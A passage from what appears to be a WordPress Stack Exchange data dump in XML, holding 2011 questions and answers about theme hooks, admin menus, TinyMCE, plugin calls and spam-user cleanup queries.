&lt;code&gt;wp_register_script()&lt;/code&gt; method.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that TinyMCE can be loaded as a compressed or a non-compressed Javascript, but both of these versions have been minified first, so that is not what I want. I want to load a non-minified version of TinyMCE, and possibly also the non-minified versions of the plugins.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-16T14:55:09.273" LastActivityDate="2011-02-17T12:00:51.273" Title="Using development versions of jQuery, TinyMCE, ...?" Tags="&lt;plugin-recommendation&gt;&lt;javascript&gt;&lt;development&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="9496" PostTypeId="2" ParentId="9490" CreationDate="2011-02-16T10:43:05.597" Score="0" ViewCount="" Body="&lt;p&gt;try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_child_theme_setup() {&#xA;    global $_wp_theme_features;&#xA;    unset( $_wp_theme_features['custom-background'] );&#xA;    unset( $_wp_theme_features['custom-header'] );&#xA;&#xA;}&#xA;&#xA;add_action( 'after_setup_theme', 'my_child_theme_setup' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-16T10:43:05.597" />
  <row Id="9497" PostTypeId="2" ParentId="9490" CreationDate="2011-02-16T10:55:51.903" Score="2" ViewCount="" Body="&lt;p&gt;Child theme is processed before parent theme. So your function is getting hooked earlier and fires  before &lt;code&gt;twentyten_setup()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'after_setup_theme', 'my_child_theme_setup', 11 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can copy &lt;code&gt;twentyten_setup()&lt;/code&gt; to your child theme and modify, since it is declared conditionally on &lt;code&gt;! function_exists( 'twentyten_setup' )&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-16T10:55:51.903" />
  <row Id="9498" PostTypeId="2" ParentId="9276" CreationDate="2011-02-16T11:07:38.167" Score="5" ViewCount="" Body="&lt;p&gt;Not sure i understand why you'd want to query by ID, but that said it's possible in a hacky kind of way(i like this method because it's simple).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'parse_request', 'idsearch' );&#xA;function idsearch( $wp ) {&#xA;    global $pagenow;&#xA;&#xA;    // If it's not the post listing return&#xA;    if( 'edit.php' != $pagenow )&#xA;        return;&#xA;&#xA;    // If it's not a search return&#xA;    if( !isset( $wp-&amp;gt;query_vars['s'] ) )&#xA;        return;&#xA;&#xA;    // If it's a search but there's no prefix, return&#xA;    if( '#' != substr( $wp-&amp;gt;query_vars['s'], 0, 1 ) )&#xA;        return;&#xA;&#xA;    // Validate the numeric value&#xA;    $id = absint( substr( $wp-&amp;gt;query_vars['s'], 1 ) );&#xA;    if( !$id )&#xA;        return; // Return if no ID, absint returns 0 for invalid values&#xA;&#xA;    // If we reach here, all criteria is fulfilled, unset search and select by ID instead&#xA;    unset( $wp-&amp;gt;query_vars['s'] );&#xA;    $wp-&amp;gt;query_vars['p'] = $id;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All you then do is search using the regular search box using a &lt;code&gt;#&lt;/code&gt;(hash) prefix infront of the numeric ID.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;..would return the post with an ID of 123.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there's more complicated routes that could be taken to do this, but i don't see any issues with this approach, unless you have lots of posts with titles that start with a hash(but you could always swap the hash for another character).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-16T11:07:38.167" CommentCount="2" />
  <row Id="9499" PostTypeId="2" ParentId="9490" CreationDate="2011-02-16T11:33:25.710" Score="0" ViewCount="" Body="&lt;p&gt;From a brief search through core, i couldn't verify the existance of &lt;code&gt;remove_custom_image_header()&lt;/code&gt;*). I only found &lt;code&gt;add_custom_image_header()&lt;/code&gt; that uses &lt;code&gt;add_theme_support()&lt;/code&gt;, so this should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't you can go one step closer to core and use the &lt;a href=&quot;http://codex.wordpress.org/Theme_Modification_API&quot; rel=&quot;nofollow&quot;&gt;Theme Modifications API&lt;/a&gt;. Strange as it is: The API only has a function that removes all modifications: &lt;code&gt;remove_theme_mods()&lt;/code&gt; that takes no additional parameters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After thinking about it, your best chance is to filter it: &lt;code&gt;add_filter( &quot;theme_mod_$name&quot;, 'your_callback_fn' );&lt;/code&gt;, but i'm not completely sure if it removes it from admin UI (10% chance it does). So maybe you'll have to unset that menu entries via another function. Anyway: Take a look into &lt;code&gt;/core_root/wp-includes/theme.php&lt;/code&gt; ... that's the &quot;twenty ten&quot; core support file (that won't be used by other themes i guess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*) This is really strange...&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-16T11:33:25.710" />
  <row Id="9500" PostTypeId="2" ParentId="9464" CreationDate="2011-02-16T11:42:10.297" Score="0" ViewCount="" Body="&lt;p&gt;Thanks to @בניית אתרים  for his solution.  The problem it seems is that because I'm creating a post, the save function gets called twice, so the number of posts increases exponentially.  The solution that I came up with is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save() {&#xA;global $post;&#xA;    global $flag;&#xA;    //Following code makes sure it doesn't get executed twice&#xA;    if($flag ==0) $flag =1;  &#xA;    else return;&#xA;    //Next to temporarily disable this filter&#xA;    remove_action('save_post', array(&amp;amp;$this, 'save'));&#xA;    $my_child = array(&#xA;                'post_title' =&amp;gt; $this-&amp;gt;_child_type,&#xA;                'post_content' =&amp;gt; &quot;test content&quot;,&#xA;                'post_status' =&amp;gt; 'publish',&#xA;                'post_type' =&amp;gt; &quot;video&quot;,&#xA;                'post_parent'=&amp;gt; 55&#xA;              );&#xA;    $nindex = wp_insert_post($my_child);&#xA;    }&#xA;    //restore save&#xA;    add_action('save_post', array(&amp;amp;$this, 'save'));&#xA;}&#xA;add_action('save_post', array(&amp;amp;$this, 'save'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-02-16T11:42:10.297" />
  <row Id="9501" PostTypeId="1" CreationDate="2011-02-16T12:46:22.823" Score="0" ViewCount="31" Body="&lt;p&gt;I have just installed a user avatar uploader plugin called 'User Avatar'. On the profile page for users I have heavily customised it with Theme My login and a few other bits an pieces of my own doing. What I want to do is put the user avatar, and on that note other bits of the 'additional_capabilities' where I want to. How do I do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that they appear at the bottom of existing information because they display in order of activation in 'additional_capabilities'. How do I separate out additional capabilities and call the plugins myself in theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Robin&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-16T12:46:22.823" Title="Choosing location of a profile plugin" Tags="&lt;plugins&gt;&lt;php&gt;&lt;avatar&gt;" CommentCount="1" />
  <row Id="9502" PostTypeId="2" ParentId="9490" CreationDate="2011-02-16T13:22:40.597" Score="2" ViewCount="" Body="&lt;p&gt;Both the header and background image features setup some globals in order to work, unsetting those globals seems to have some effect, and at the least removes them from the administration side.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('after_setup_theme', 'remove_theme_features', 11 );&#xA;&#xA;function remove_theme_features() {&#xA;    $GLOBALS['custom_background']   = 'kill_theme_features';&#xA;    $GLOBALS['custom_image_header'] = 'kill_theme_features';&#xA;}&#xA;class kill_theme_features {&#xA;    function init() { return false; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's expectations for a class name to be provided as a callback for both of these features, and both expect the given class to have an init method. The solution was to create a dummy class that does nothing and update the globals, which effectively kills off the theme background and header pages in the admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-17T11:34:50.750" LastActivityDate="2011-02-17T11:34:50.750" CommentCount="2" />
  <row Id="9503" PostTypeId="1" CreationDate="2011-02-16T13:28:24.343" Score="1" ViewCount="214" Body="&lt;p&gt;With the pagination activated in the Options panel and when using different gallery templates, is there a way to disable pagination on a specified template?&#xA;If I have more than one gallery on a page, and have pagination turned on for the thumbnails, then the pagination on one gallery also controls the pagination on the other galleries on the page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&#xA;Thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-05-17T15:51:13.100" Title="How to disable pagination on a gallery template?" Tags="&lt;plugin-nextgen-gallery&gt;" AnswerCount="1" />
  <row Id="9504" PostTypeId="1" CreationDate="2011-02-16T13:32:14.203" Score="0" ViewCount="171" Body="&lt;p&gt;Well, the title says it all. Is it still not possible to show separate submenu with the &quot;WP Custom Menu&quot;?&lt;/p&gt;&#xA;" OwnerUserId="3216" LastActivityDate="2011-02-16T13:32:14.203" Title="Is it still not possible to show separate submenu with &quot;Custom Menu&quot;?" Tags="&lt;custom-menus&gt;&lt;menus&gt;" CommentCount="2" />
  <row Id="9505" PostTypeId="1" CreationDate="2011-02-16T13:45:19.220" Score="1" ViewCount="328" Body="&lt;p&gt;I am trying to hide a certain amount of menus for a client. Right now I am using the following code and it is doing its job well, but it removes it for everyone as far as I can tell. As in all roles.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_menus () {&#xA;global $menu;&#xA;    $restricted = array(__('Dashboard'), __('Media'), __('Links'),      __('Appearance'), __('Tools'), __('Users'), __('Settings'), __('Profile'),__('Plugins'));&#xA;    end ($menu);&#xA;    while (prev($menu)){&#xA;        $value = explode(' ',$menu[key($menu)][0]);&#xA;        if(in_array($value[0] != NULL?$value[0]:&quot;&quot; , $restricted)){unset($menu[key($menu)]);}&#xA;    }&#xA;}&#xA;add_action('admin_menu', 'remove_menus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the line I would use to have this call out only an editor or an author etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks much&lt;/p&gt;&#xA;" LastActivityDate="2011-02-17T06:42:33.113" Title="Hide Admin menus per role in Wordpress" Tags="&lt;admin&gt;&lt;3.0.1&gt;&lt;menus&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="9506" PostTypeId="1" AcceptedAnswerId="9636" CreationDate="2011-02-16T13:51:11.737" Score="0" ViewCount="131" Body="&lt;p&gt;Looking for a little help getting to grips with a quote, part of which is producing quarterly reports consisting on all the posts from that quarter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is two fold - Is there a plugin that can do this sort of thing? Or of not, any clue as to where to start coding it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-02-17T15:58:28.690" Title="Send batch of posts as HTML Email?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;email&gt;&lt;html-email&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="9507" PostTypeId="1" AcceptedAnswerId="9514" CreationDate="2011-02-16T14:01:40.200" Score="1" ViewCount="170" Body="&lt;p&gt;I need to completely replace WP's login form with the login form of an external service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actions and filters I've found (eg login_form, login_head) seem to rely on WP's login process starting. I suppose I could do a redirect from here, but is there a cleaner way of sending a user to another URL if they attempt to browse to a WordPress login page.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-09-02T09:04:50.057" Title="Completely replacing the login form" Tags="&lt;login&gt;&lt;single-sign-on&gt;" AnswerCount="3" />
  <row Id="9508" PostTypeId="1" CreationDate="2011-02-16T14:01:46.833" Score="0" ViewCount="518" Body="&lt;p&gt;I created an option page where the user can enter the text content for some &lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; placed in a front page template. I display this text content using the &lt;code&gt;get_option();&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used plain textarea tags therefore the text is not formatted as it should. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to add basic formatting capabilities to these textareas, I think adding TinyMCE would be the easiest way but I have not found a good tutorial yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The full fledged TinyMCE would be too much though...I just need new lines, bold, italic and links to be added. I also do not now if using &lt;code&gt;get_option();&lt;/code&gt; the output will be formatted...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion will be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured it out using the following code in my option page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;!--Call TinyMCE--&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;../wp-includes/js/tinymce/tiny_mce.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;tinyMCE.init({&#xA;theme : &quot;advanced&quot;,&#xA;theme_advanced_buttons1 : &quot;bold,italic,underline,link&quot;,&#xA;theme_advanced_buttons2 : &quot;&quot;,&#xA;theme_advanced_buttons3 : &quot;&quot;,&#xA;mode : &quot;textareas&quot;,&#xA;width : &quot;266&quot;,&#xA;height : &quot;400&quot;&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2618" LastEditorUserId="2618" LastEditorDisplayName="" LastEditDate="2011-02-17T10:38:18.273" LastActivityDate="2011-02-17T10:38:18.273" Title="Add TinyMCE or basic formatting to textareas in option page" Tags="&lt;tinymce&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="9509" PostTypeId="1" AcceptedAnswerId="9510" CreationDate="2011-02-16T14:17:24.523" Score="0" ViewCount="116" Body="&lt;p&gt;I am trying to call plugins on a theme page. Specifically I am after the 'User Avatar' theme but their will be other later. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I call a plugin on a theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumable something linke &lt;code&gt;&amp;lt;?php&lt;/code&gt; ...plugin name... &lt;code&gt;;?&amp;gt;&lt;/code&gt; but that isn't it. Any ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-16T14:55:37.350" Title="Calling a plugin in theme development" Tags="&lt;plugins&gt;&lt;php&gt;&lt;codex&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="9510" PostTypeId="2" ParentId="9509" CreationDate="2011-02-16T14:25:13.723" Score="2" ViewCount="" Body="&lt;p&gt;You must check the documentation of the plugin. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it supporting shortcodes? Do sometingh like &lt;code&gt;&amp;lt;? do_shortcode('[plugin_shortcode]'); ?&amp;gt;&lt;/code&gt;  &lt;/li&gt;&#xA;&lt;li&gt;Has function to call in the theme? Do something like &lt;code&gt;&amp;lt;? my_plugin_function(); ?&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-16T14:25:13.723" />
  <row Id="9511" PostTypeId="2" ParentId="9505" CreationDate="2011-02-16T14:35:34.527" Score="2" ViewCount="" Body="&lt;p&gt;Use the &lt;code&gt;current_user_can()&lt;/code&gt; function to build that &lt;code&gt;$restricted&lt;/code&gt; array in pieces, before you pass it through that unset loop. You'll have to use capabilities, and not role names, to make it work.&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2011-02-16T14:35:34.527" />
  <row Id="9512" PostTypeId="2" ParentId="9509" CreationDate="2011-02-16T14:52:28.903" Score="1" ViewCount="" Body="&lt;p&gt;you could do it through shortcode like keatch said or you could create a function in your plugin that would be called from within your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;look &lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/creating-a-custom-wordpress-plugin-from-scratch/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;, section &lt;strong&gt;7. Creating the user function&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you are supposed to put the output of your plugin into that function (keep in mind that you should use return to print out the output, and not echo, since with echo you don't have enough control over where your output will end up).&lt;/p&gt;&#xA;" OwnerUserId="1535" LastActivityDate="2011-02-16T14:52:28.903" CommentCount="1" />
  <row Id="9513" PostTypeId="2" ParentId="9509" CreationDate="2011-02-16T14:55:37.350" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Other options would be:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php&lt;br&gt;&#xA;if ( function_exists('first_loaded_plugin_fn') ) do_something();&lt;br&gt;&#xA;if ( class_exists('initial_plugin_class') ) do_something();&lt;br&gt;&#xA;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best chance is the callback function from &lt;code&gt;&amp;lt;?php register_activation_hook($file, $function); ?&amp;gt;&lt;/code&gt; if the plugin does not only offer a template tag or similar basic functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;or:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some option from the plugin that get's added on init/activation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php&lt;br&gt;&#xA;$check_me = !empty( get_option('plugin_option_name') ) ? 'activated' : 'not active'; &#xA;echo $check_me;&lt;br&gt;&#xA;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;or:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check if the plugins_loaded hook &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/has_action&quot; rel=&quot;nofollow&quot;&gt;has some action&lt;/a&gt; (&amp;lt;-- link)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php&lt;br&gt;&#xA;$check_me = has_action( 'plugins_loaded', 'fn_to_check') !== false ? 'activated' : 'not active';&lt;br&gt;&#xA;echo $check_me;&#xA;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll hacve to take a closer look at the returned result. The result may contain the &lt;em&gt;priority&lt;/em&gt; too.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-16T14:55:37.350" />
  <row Id="9514" PostTypeId="2" ParentId="9507" CreationDate="2011-02-16T14:56:45.973" Score="1" ViewCount="" Body="&lt;p&gt;Short and simple: No. You'll find a lot of stuff for wp-login.php on trac, but it seems that it won't change.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-02-16T14:56:45.973" CommentCount="2" />
  <row Id="9515" PostTypeId="1" AcceptedAnswerId="9530" CreationDate="2011-02-16T15:00:04.413" Score="1" ViewCount="216" Body="&lt;p&gt;I have a form that allows any registered user to submit a post (it's a custom post type - forum related), and I'm using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_post()&lt;/code&gt;&lt;/a&gt; to insert it into the db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've seen in this function a sanitize_post() function is run automatically, but I think this only handles db escaping and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I sanitize the input data the same way as the wp-admin editor does? I mean apply the kses filter and all the other stuff...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-02-16T17:50:34.017" Title="Submitting posts from the front end - sanitizing data" Tags="&lt;custom-post-types&gt;&lt;save-post&gt;" AnswerCount="2" />
  <row Id="9516" PostTypeId="2" ParentId="9503" CreationDate="2011-02-16T15:05:47.203" Score="1" ViewCount="" Body="&lt;p&gt;you could probably use something like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[nggallery id=2 0-1000]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which would show them all... you could replace the second number (in this case 1000) with a variable that would fetch a number of pictures in a gallery.. &lt;/p&gt;&#xA;" OwnerUserId="1535" LastActivityDate="2011-02-16T15:05:47.203" CommentCount="2" />
  <row Id="9517" PostTypeId="2" ParentId="9495" CreationDate="2011-02-16T15:21:37.200" Score="0" ViewCount="" Body="&lt;p&gt;Following on from the comments(because i'm posting too much into the comments, it's starting to look a mess)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most scripts(if not all) in WP include the originating URL of the script at the very top of the file, you can track down non-minified versions pretty easy once you know the original source, swfobject.js for example can be found &lt;a href=&quot;http://code.google.com/p/swfobject/source/browse/tags/swfobject_2_2/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;(non-minified): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;..am i not following you on something, isn't this just a case of sourcing the original scripts in a non-minified form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TinyMCE offer a developer version, maybe that will provide a non-minified version?&#xA;&lt;a href=&quot;http://tinymce.moxiecode.com/download/download.php&quot; rel=&quot;nofollow&quot;&gt;http://tinymce.moxiecode.com/download/download.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know i'm making general comments and not necessarily answering, but rather then further pollute the comments with my ramblings i'll just add additional comments here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;You could use a method like this for doing it.&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8864/is-it-worth-updating-wp-admin-to-jquery-1-5/8869#8869&quot;&gt;Is it worth updating WP admin to jQuery 1.5?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; The issues i saw were a result of a compatability issue with jQuery 1.5, i'm quite confident it will be fine with scripts known to work(and quicker/easier to write, than the de-register / re-register method).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-16T16:48:13.977" LastActivityDate="2011-02-16T16:48:13.977" CommentCount="4" />
  <row Id="9518" PostTypeId="2" ParentId="9515" CreationDate="2011-02-16T15:23:55.657" Score="1" ViewCount="" Body="&lt;p&gt;Otto did a blog about using kses last year, see if that helps.&lt;br&gt;&#xA;&lt;a href=&quot;http://ottopress.com/2010/wp-quickie-kses/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/wp-quickie-kses/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-16T15:23:55.657" />
  <row Id="9519" PostTypeId="2" ParentId="9485" CreationDate="2011-02-16T15:25:59.767" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Nick Loman:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is not one command, but several.  Be care though to back up your database before running this because there's a tiny chance something in your database differs from mine, especially after a .1 upgrade beyond 3.0 and thus it may not work perfectly and you'll have to restore.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE FROM wp_usermeta WHERE user_id IN (&#xA;  SELECT user_id FROM wp_comments WHERE user_id&amp;lt;&amp;gt;0 AND comment_approved='spam' &#xA;) AND user_id NOT IN (&#xA;  SELECT DISTINCT user_id FROM wp_comments&#xA;);&#xA;DELETE FROM wp_users WHERE ID IN (&#xA;  SELECT user_id FROM wp_comments WHERE user_id&amp;lt;&amp;gt;0 AND comment_approved='spam' &#xA;) AND ID NOT IN (&#xA;  SELECT DISTINCT user_id FROM wp_comments&#xA;);&#xA;DELETE FROM wp_commentmeta WHERE comment_id IN (&#xA;  SELECT comment_ID FROM wp_comments WHERE comment_approved='spam' &#xA;);&#xA;DELETE FROM wp_comments WHERE comment_approved='spam'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-16T15:25:59.767" />
  <row Id="9520" PostTypeId="2" ParentId="9485" CreationDate="2011-02-16T15:26:55.180" Score="0" ViewCount="" Body="&lt;p&gt;You'll want to use the wp_delete_user() function:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_delete_user&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_delete_user&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, first you need all the user ids to delete.  I'd suggest getting them by doing something like the following (note: this code is not tested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$delete_ids = $wpdb-&amp;gt;get_col(&#xA;    &quot;SELECT &#xA;        user.ID &#xA;    FROM &#xA;        {$wpdb-&amp;gt;users} users &#xA;    LEFT JOIN &#xA;        {$wpdb-&amp;gt;prefix}comments comments ON comments.user_id = users.ID&#xA;    WHERE 1&#xA;        AND (&#xA;            comments.ID IS NULL &#xA;            OR &#xA;            comments.comment_approved = 'spam'&#xA;        )&quot;&#xA;);&#xA;&#xA;foreach ($delete_ids as $id) {&#xA;    wp_delete_user($id);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would suggest running the query manually and spot checking the results before doing any deletions.  And, of course, back up your database before making any changes.&lt;/p&gt;&#xA;" OwnerUserId="3220" LastEditorUserId="3220" LastEditorDisplayName="" LastEditDate="2011-02-16T15:33:43.593" LastActivityDate="2011-02-16T15:33:43.593" />
  <row Id="9521" PostTypeId="1" AcceptedAnswerId="9523" CreationDate="2011-02-16T15:40:37.400" Score="0" ViewCount="71" Body="&lt;p&gt;A theme is in development that echo's fields from the users account on their themed account page. This is the standard format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo  $current_user-&amp;gt;user_lastname;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats all well and good. But there are 13 additional fields added via the plugin register plus. How do we echo them? This for example does not work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo  $current_user-&amp;gt;user_post_code;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated, marvellous.&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-16T15:53:23.430" Title="Display additional user fields" Tags="&lt;php&gt;&lt;custom-field&gt;&lt;users&gt;&lt;registered&gt;" AnswerCount="1" />
  <row Id="9522" PostTypeId="2" ParentId="9444" CreationDate="2011-02-16T15:51:58.300" Score="0" ViewCount="" Body="&lt;p&gt;Looks like an error related to the HeadSpace2 plugin, see.&lt;br&gt;&#xA;&lt;a href=&quot;http://urbangiraffe.com/support/topic/rendering-of-admin-template-failed-2&quot; rel=&quot;nofollow&quot;&gt;http://urbangiraffe.com/support/topic/rendering-of-admin-template-failed-2&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://urbangiraffe.com/support/topic/rendering-of-admin-template-failed-continued&quot; rel=&quot;nofollow&quot;&gt;http://urbangiraffe.com/support/topic/rendering-of-admin-template-failed-continued&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps the plugin has template support which you've enabled but not created the appropriate file for in the theme? I have no idea, i don't use the plugin, just thinking out loud..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-16T15:51:58.300" CommentCount="1" />
  <row Id="9523" PostTypeId="2" ParentId="9521" CreationDate="2011-02-16T15:53:23.430" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Robin I Knight:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_user_meta($current_user-&amp;gt;ID,'user_post_code',true);?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-16T15:53:23.430" CommentCount="2" />
